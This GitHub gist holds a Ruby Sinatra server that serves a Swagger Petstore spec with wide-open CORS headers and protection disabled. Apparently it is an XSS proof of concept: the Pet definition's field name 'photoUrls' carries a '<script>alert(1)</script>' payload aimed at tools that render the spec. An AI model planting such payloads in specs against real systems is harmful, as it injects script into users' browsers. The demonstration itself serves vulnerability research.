Skip to content

Instantly share code, notes, and snippets.

@joevennix
Created January 13, 2016 04:44
Show Gist options
  • Save joevennix/b2bc8c04fd74f2f5d2b2 to your computer and use it in GitHub Desktop.
Save joevennix/b2bc8c04fd74f2f5d2b2 to your computer and use it in GitHub Desktop.
require 'sinatra'
require 'json'
before do
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Methods"] = "POST,GET,OPTIONS"
response.headers["Access-Control-Expose-Headers"] = "Location"
end
set :protection, false
get '/swagger.json' do
content_type :json
{"swagger" =>"2.0","info" =>{"description" =>"This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters.","version" =>"1.0.0","title" =>"Swagger Petstore","termsOfService" =>"http://swagger.io/terms/","contact" =>{"email" =>"apiteam@swagger.io"},"license" =>{"name" =>"Apache 2.0","url" =>"http://www.apache.org/licenses/LICENSE-2.0.html"}},"host" =>"localhost:4567","basePath" =>"/v2","tags" =>[{"name" =>"pet","description" =>"Everything about your Pets","externalDocs" =>{"description" =>"Find out more","url" =>"http://swagger.io"}},{"name" =>"store","description" =>"Access to Petstore orders"},{"name" =>"user","description" =>"Operations about user","externalDocs" =>{"description" =>"Find out more about our store","url" =>"http://swagger.io"}}],"schemes" =>["http"],"paths" =>{"/pet" =>{"post" =>{"tags" =>["pet"],"summary" =>"Add a new pet to the store","description" =>"","operationId" =>"addPet","consumes" =>["application/json","application/xml"],"produces" =>["application/xml","application/json"],"parameters" =>[{"in" =>"body","name" =>"body","description" =>"Pet object that needs to be added to the store","required" =>true,"schema" =>{"$ref" =>"#/definitions/Pet"}}],"responses" =>{"405" =>{"description" =>"Invalid input"}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}]},"put" =>{"tags" =>["pet"],"summary" =>"Update an existing pet","description" =>"","operationId" =>"updatePet","consumes" =>["application/json","application/xml"],"produces" =>["application/xml","application/json"],"parameters" =>[{"in" =>"body","name" =>"body","description" =>"Pet object that needs to be added to the store","required" =>true,"schema" =>{"$ref" =>"#/definitions/Pet"}}],"responses" =>{"400" =>{"description" =>"Invalid ID supplied"},"404" =>{"description" =>"Pet not found"},"405" =>{"description" =>"Validation exception"}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}]}},"/pet/findByStatus" =>{"get" =>{"tags" =>["pet"],"summary" =>"Finds Pets by status","description" =>"Multiple status values can be provided with comma separated strings","operationId" =>"findPetsByStatus","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"status","in" =>"query","description" =>"Status values that need to be considered for filter","required" =>true,"type" =>"array","items" =>{"type" =>"string","enum" =>["available","pending","sold"],"default" =>"available"},"collectionFormat" =>"multi"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"type" =>"array","items" =>{"$ref" =>"#/definitions/Pet"}}},"400" =>{"description" =>"Invalid status value"}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}]}},"/pet/findByTags" =>{"get" =>{"tags" =>["pet"],"summary" =>"Finds Pets by tags","description" =>"Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.","operationId" =>"findPetsByTags","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"tags","in" =>"query","description" =>"Tags to filter by","required" =>true,"type" =>"array","items" =>{"type" =>"string"},"collectionFormat" =>"multi"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"type" =>"array","items" =>{"$ref" =>"#/definitions/Pet"}}},"400" =>{"description" =>"Invalid tag value"}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}],"deprecated" =>true}},"/pet/{petId}" =>{"get" =>{"tags" =>["pet"],"summary" =>"Find pet by ID","description" =>"Returns a single pet","operationId" =>"getPetById","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"petId","in" =>"path","description" =>"ID of pet to return","required" =>true,"type" =>"integer","format" =>"int64"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"$ref" =>"#/definitions/Pet"}},"400" =>{"description" =>"Invalid ID supplied"},"404" =>{"description" =>"Pet not found"}},"security" =>[{"api_key" =>[]}]},"post" =>{"tags" =>["pet"],"summary" =>"Updates a pet in the store with form data","description" =>"","operationId" =>"updatePetWithForm","consumes" =>["application/x-www-form-urlencoded"],"produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"petId","in" =>"path","description" =>"ID of pet that needs to be updated","required" =>true,"type" =>"integer","format" =>"int64"},{"name" =>"name","in" =>"formData","description" =>"Updated name of the pet","required" =>false,"type" =>"string"},{"name" =>"status","in" =>"formData","description" =>"Updated status of the pet","required" =>false,"type" =>"string"}],"responses" =>{"405" =>{"description" =>"Invalid input"}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}]},"delete" =>{"tags" =>["pet"],"summary" =>"Deletes a pet","description" =>"","operationId" =>"deletePet","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"api_key","in" =>"header","required" =>false,"type" =>"string"},{"name" =>"petId","in" =>"path","description" =>"Pet id to delete","required" =>true,"type" =>"integer","format" =>"int64"}],"responses" =>{"400" =>{"description" =>"Invalid ID supplied"},"404" =>{"description" =>"Pet not found"}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}]}},"/pet/{petId}/uploadImage" =>{"post" =>{"tags" =>["pet"],"summary" =>"uploads an image","description" =>"","operationId" =>"uploadFile","consumes" =>["multipart/form-data"],"produces" =>["application/json"],"parameters" =>[{"name" =>"petId","in" =>"path","description" =>"ID of pet to update","required" =>true,"type" =>"integer","format" =>"int64"},{"name" =>"additionalMetadata","in" =>"formData","description" =>"Additional data to pass to server","required" =>false,"type" =>"string"},{"name" =>"file","in" =>"formData","description" =>"file to upload","required" =>false,"type" =>"file"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"$ref" =>"#/definitions/ApiResponse"}}},"security" =>[{"petstore_auth" =>["write:pets","read:pets"]}]}},"/store/inventory" =>{"get" =>{"tags" =>["store"],"summary" =>"Returns pet inventories by status","description" =>"Returns a map of status codes to quantities","operationId" =>"getInventory","produces" =>["application/json"],"parameters" =>[],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"type" =>"object","additionalProperties" =>{"type" =>"integer","format" =>"int32"}}}},"security" =>[{"api_key" =>[]}]}},"/store/order" =>{"post" =>{"tags" =>["store"],"summary" =>"Place an order for a pet","description" =>"","operationId" =>"placeOrder","produces" =>["application/xml","application/json"],"parameters" =>[{"in" =>"body","name" =>"body","description" =>"order placed for purchasing the pet","required" =>true,"schema" =>{"$ref" =>"#/definitions/Order"}}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"$ref" =>"#/definitions/Order"}},"400" =>{"description" =>"Invalid Order"}}}},"/store/order/{orderId}" =>{"get" =>{"tags" =>["store"],"summary" =>"Find purchase order by ID","description" =>"For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions","operationId" =>"getOrderById","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"orderId","in" =>"path","description" =>"ID of pet that needs to be fetched","required" =>true,"type" =>"integer","maximum" =>10.0,"minimum" =>1.0,"format" =>"int64"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"$ref" =>"#/definitions/Order"}},"400" =>{"description" =>"Invalid ID supplied"},"404" =>{"description" =>"Order not found"}}},"delete" =>{"tags" =>["store"],"summary" =>"Delete purchase order by ID","description" =>"For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors","operationId" =>"deleteOrder","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"orderId","in" =>"path","description" =>"ID of the order that needs to be deleted","required" =>true,"type" =>"integer","minimum" =>1.0,"format" =>"int64"}],"responses" =>{"400" =>{"description" =>"Invalid ID supplied"},"404" =>{"description" =>"Order not found"}}}},"/user" =>{"post" =>{"tags" =>["user"],"summary" =>"Create user","description" =>"This can only be done by the logged in user.","operationId" =>"createUser","produces" =>["application/xml","application/json"],"parameters" =>[{"in" =>"body","name" =>"body","description" =>"Created user object","required" =>true,"schema" =>{"$ref" =>"#/definitions/User"}}],"responses" =>{"default" =>{"description" =>"successful operation"}}}},"/user/createWithArray" =>{"post" =>{"tags" =>["user"],"summary" =>"Creates list of users with given input array","description" =>"","operationId" =>"createUsersWithArrayInput","produces" =>["application/xml","application/json"],"parameters" =>[{"in" =>"body","name" =>"body","description" =>"List of user object","required" =>true,"schema" =>{"type" =>"array","items" =>{"$ref" =>"#/definitions/User"}}}],"responses" =>{"default" =>{"description" =>"successful operation"}}}},"/user/createWithList" =>{"post" =>{"tags" =>["user"],"summary" =>"Creates list of users with given input array","description" =>"","operationId" =>"createUsersWithListInput","produces" =>["application/xml","application/json"],"parameters" =>[{"in" =>"body","name" =>"body","description" =>"List of user object","required" =>true,"schema" =>{"type" =>"array","items" =>{"$ref" =>"#/definitions/User"}}}],"responses" =>{"default" =>{"description" =>"successful operation"}}}},"/user/login" =>{"get" =>{"tags" =>["user"],"summary" =>"Logs user into the system","description" =>"","operationId" =>"loginUser","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"username","in" =>"query","description" =>"The user name for login","required" =>true,"type" =>"string"},{"name" =>"password","in" =>"query","description" =>"The password for login in clear text","required" =>true,"type" =>"string"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"type" =>"string"},"headers" =>{"X-Rate-Limit" =>{"type" =>"integer","format" =>"int32","description" =>"calls per hour allowed by the user"},"X-Expires-After" =>{"type" =>"string","format" =>"date-time","description" =>"date in UTC when token expires"}}},"400" =>{"description" =>"Invalid username/password supplied"}}}},"/user/logout" =>{"get" =>{"tags" =>["user"],"summary" =>"Logs out current logged in user session","description" =>"","operationId" =>"logoutUser","produces" =>["application/xml","application/json"],"parameters" =>[],"responses" =>{"default" =>{"description" =>"successful operation"}}}},"/user/{username}" =>{"get" =>{"tags" =>["user"],"summary" =>"Get user by user name","description" =>"","operationId" =>"getUserByName","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"username","in" =>"path","description" =>"The name that needs to be fetched. Use user1 for testing. ","required" =>true,"type" =>"string"}],"responses" =>{"200" =>{"description" =>"successful operation","schema" =>{"$ref" =>"#/definitions/User"}},"400" =>{"description" =>"Invalid username supplied"},"404" =>{"description" =>"User not found"}}},"put" =>{"tags" =>["user"],"summary" =>"Updated user","description" =>"This can only be done by the logged in user.","operationId" =>"updateUser","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"username","in" =>"path","description" =>"name that need to be updated","required" =>true,"type" =>"string"},{"in" =>"body","name" =>"body","description" =>"Updated user object","required" =>true,"schema" =>{"$ref" =>"#/definitions/User"}}],"responses" =>{"400" =>{"description" =>"Invalid user supplied"},"404" =>{"description" =>"User not found"}}},"delete" =>{"tags" =>["user"],"summary" =>"Delete user","description" =>"This can only be done by the logged in user.","operationId" =>"deleteUser","produces" =>["application/xml","application/json"],"parameters" =>[{"name" =>"username","in" =>"path","description" =>"The name that needs to be deleted","required" =>true,"type" =>"string"}],"responses" =>{"400" =>{"description" =>"Invalid username supplied"},"404" =>{"description" =>"User not found"}}}}},"securityDefinitions" =>{"petstore_auth" =>{"type" =>"oauth2","authorizationUrl" =>"http://petstore.swagger.io/api/oauth/dialog","flow" =>"implicit","scopes" =>{"write:pets" =>"modify pets in your account","read:pets" =>"read your pets"}},"api_key" =>{"type" =>"apiKey","name" =>"api_key","in" =>"header"}},"definitions" =>{"Order" =>{"type" =>"object","properties" =>{"id" =>{"type" =>"integer","format" =>"int64"},"petId" =>{"type" =>"integer","format" =>"int64"},"quantity" =>{"type" =>"integer","format" =>"int32"},"shipDate" =>{"type" =>"string","format" =>"date-time"},"status" =>{"type" =>"string","description" =>"Order Status","enum" =>["placed","approved","delivered"]},"complete" =>{"type" =>"boolean","default" =>false}},"xml" =>{"name" =>"Order"}},"Category" =>{"type" =>"object","properties" =>{"id" =>{"type" =>"integer","format" =>"int64"},"name" =>{"type" =>"string"}},"xml" =>{"name" =>"Category"}},"User" =>{"type" =>"object","properties" =>{"id" =>{"type" =>"integer","format" =>"int64"},"username" =>{"type" =>"string"},"firstName" =>{"type" =>"string"},"lastName" =>{"type" =>"string"},"email" =>{"type" =>"string"},"password" =>{"type" =>"string"},"phone" =>{"type" =>"string"},"userStatus" =>{"type" =>"integer","format" =>"int32","description" =>"User Status"}},"xml" =>{"name" =>"User"}},"Tag" =>{"type" =>"object","properties" =>{"id" =>{"type" =>"integer","format" =>"int64"},"name" =>{"type" =>"string"}},"xml" =>{"name" =>"Tag"}},"ApiResponse" =>{"type" =>"object","properties" =>{"code" =>{"type" =>"integer","format" =>"int32"},"type" =>{"type" =>"string"},"message" =>{"type" =>"string"}}},"Pet" =>{"type" =>"object","required" =>["name","photoUrls<script>alert(1)</script>"],"properties" =>{"id" =>{"type" =>"integer","format" =>"int64"},"category" =>{"$ref" =>"#/definitions/Category"},"name" =>{"type" =>"string","example" =>"doggie"},"photoUrls<script>alert(1)</script>" =>{"type" =>"array","xml" =>{"name" =>"photoUrl","wrapped" =>true},"items" =>{"type" =>"string"}},"tags" =>{"type" =>"array","xml" =>{"name" =>"tag","wrapped" =>true},"items" =>{"$ref" =>"#/definitions/Tag"}},"status" =>{"type" =>"string","description" =>"pet status in the store","enum" =>["available","pending","sold"]}},"xml" =>{"name" =>"Pet"}}},"externalDocs" =>{"description" =>"Find out more about Swagger","url" =>"http://swagger.io"}}.to_json
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment